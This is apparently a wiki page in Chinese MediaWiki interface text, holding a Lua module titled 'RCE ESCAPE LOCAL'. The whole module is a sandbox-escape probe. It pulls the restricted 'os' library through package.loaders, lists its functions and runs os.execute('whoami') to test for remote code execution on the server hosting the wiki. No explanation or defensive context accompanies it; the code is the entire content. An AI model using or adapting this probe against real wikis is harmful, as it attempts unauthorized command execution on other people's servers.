模块:RCE ESCAPE LOCAL
可在模块:RCE ESCAPE LOCAL/doc创建此模块的帮助文档
local p = {}; function p.test() local results = {}; for i, loader in ipairs(package.loaders) do local ok, result = pcall(loader, "os"); if ok and type(result) == "function" then local ok2, os_tbl = pcall(result); if ok2 and type(os_tbl) == "table" then local funcs = {}; for k, v in pairs(os_tbl) do funcs[#funcs+1] = k .. ":" .. type(v); if k == "execute" and type(v) == "function" then local ok3, who = pcall(v, "whoami"); results[#results+1] = "RCE_WHOAMI=" .. tostring(ok3) .. ":" .. tostring(who); end; end; results[#results+1] = "os_funcs(" .. #funcs .. "): " .. table.concat(funcs, ", "); end; end; end; if #results == 0 then results[1] = "NO_ESCAPE"; end; return table.concat(results, " | "); end; return p